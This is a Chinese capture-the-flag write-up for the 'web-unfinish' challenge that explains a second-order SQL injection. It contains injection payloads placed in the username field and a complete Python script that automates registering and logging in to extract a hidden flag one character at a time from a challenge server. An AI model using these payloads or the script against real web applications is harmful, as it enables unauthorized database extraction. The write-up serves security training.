[CTF]攻防世界:web-unfinish(sql二次注入)

题目:web-unfinish(sql二次注入)

二次注入

打开页面是一个登录页面


步骤

  1. 扫描一下目录:

有登录有注册


  1. 先测试登录是否存在sql,测试了一下发现似乎不存在。

  1. 继续测试注册,先正常注册一个用户,登录看看。

    登录成功,能看到用户名。

  1. 试试再注册的时候,给用户名位置写上注入测试:0'+1+'0,登录后发现用户名变为1.

使用Burp Suite Fuzz 了一下,当用户名中有 information 或 , 时,会提示 nonono!!!


  1. 只能猜表名为flag.
    通过payload依次读取flag值:0'+ascii(substr(select * from flag) from 1 for 1)+'0

  1. 写个脚本,自动读出flag。

流程为:注册-》登录-》获取用户名值(ascii)

dart 复制代码
import requests
import re
import time

url = "http://61.147.171.105:54224/"
MAX_RETRIES_PER_POS = 5  # 重试

def get_flag():
    flag = ""
    i = 1  # 从位置 1 开始

    while i < 50:
        email = f"user{i}@qq.com"
        username_payload = f"0'+ascii(SUBSTR((select * from flag) FROM {i} FOR 1))+'0"
        password = "123"

        retry_count = 0
        success = False

        while retry_count <= MAX_RETRIES_PER_POS:
            if retry_count > 0:
                print(f"[!] 尝试位置 {i} (尝试 {retry_count + 1})...")
                time.sleep(2)  # 稍等再试

            try:
                print(f"[+] 尝试位置 {i}: {username_payload}")

                # 注册
                r_reg = requests.post(
                    url + "register.php",
                    data={
                        'email': email,
                        'username': username_payload,
                        'password': password
                    },
                    allow_redirects=False,
                    timeout=10
                )

                if r_reg.status_code != 302:
                    # 可能是 SQL 错误或 flag 已结束(非网络问题)
                    print(f"[-] 注册失败 {r_reg.status_code} 再位置 {i}. 结束.")
                    success = True  # 视为"正常结束",跳出
                    break

                # 登录
                r_login = requests.post(
                    url + "login.php",
                    data={'email': email, 'password': password},
                    timeout=10
                )

                # 提取 ASCII
                match = re.search(r'<span class="user-name">\s*(\d+)\s*</span>', r_login.text)
                if match:
                    ascii_val = int(match.group(1))
                    if ascii_val == 0:
                        print("[*] 结尾 (ASCII 0).")
                        success = True
                        break
                    char = chr(ascii_val)
                    flag += char
                    print(f"[+] 位置 {i}: ASCII={ascii_val} => '{char}' | Flag : {flag}")
                    success = True
                    break
                else:
                    print(f"[-] 找不到flag {i} :\n{r_login.text[:200]}")
                    success = True  # 无法提取,视为结束
                    break

            except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:
                retry_count += 1
                print(f"[-] 网络问题 position {i} (attempt {retry_count}): {e}")
                if retry_count > MAX_RETRIES_PER_POS:
                    print(f"[!] 超过最大重试 position {i}. 退出.")
                    print("\n[!] flag (部分):", flag)
                    return
                continue  # 重试当前 i

            except Exception as e:
                print(f"[-] 异常 position {i}: {e}")
                success = True  # 非网络异常,不重试
                break

        if not success:
            print(f"[!] 错误 position {i} .")
            break

        if success and (
            r_reg.status_code != 302 or
            (locals().get('match') and int(locals().get('match').group(1)) == 0) or
            not locals().get('match')
        ):
            break

        i += 1  # 成功获取一位,继续下一位
        time.sleep(3)

    print("\n[!] flag:", flag)

if __name__ == '__main__':
    get_flag()
    

有疑问可留言解答...

相关推荐
-madongyu-1 小时前
GaussDB 部署规划:磁盘水位、RAID 与端口设计
数据库·gaussdb
霸道流氓气质1 小时前
Graph Studio Web IDE 深度实战:可视化编排、断点调试与生产级运维全指南
运维·前端·ide
weixin_511255218 小时前
MySQL升级记录
数据库·mysql
程序猿乐锅9 小时前
【黑马点评 | 第八篇】Redisson分布式锁
java·数据库·spring boot·redis·分布式·spring·缓存
福兮说9 小时前
前端下载大文件,点了按钮半天没反应:fetch + blob 的三个问题和三种替代写法
前端·javascript·性能优化·文件下载
GreenTea9 小时前
我把 Agent 的 while 循环拆掉了:一种你可能没想到的 Agent 架构
前端·后端·架构
Leo.yuan9 小时前
2026年本地化Data Agent优质厂商盘点:哪些产品更适合企业生产环境
大数据·数据库·人工智能
科技观察哨9 小时前
六足平台选型与纳米定位系统集成:HEB-640六自由度位移台在半导体光刻对准中的参数边界与国产替代评估
前端·人工智能
做运维的阿瑞9 小时前
数据库增删改的安全写法
数据库·sql·mysql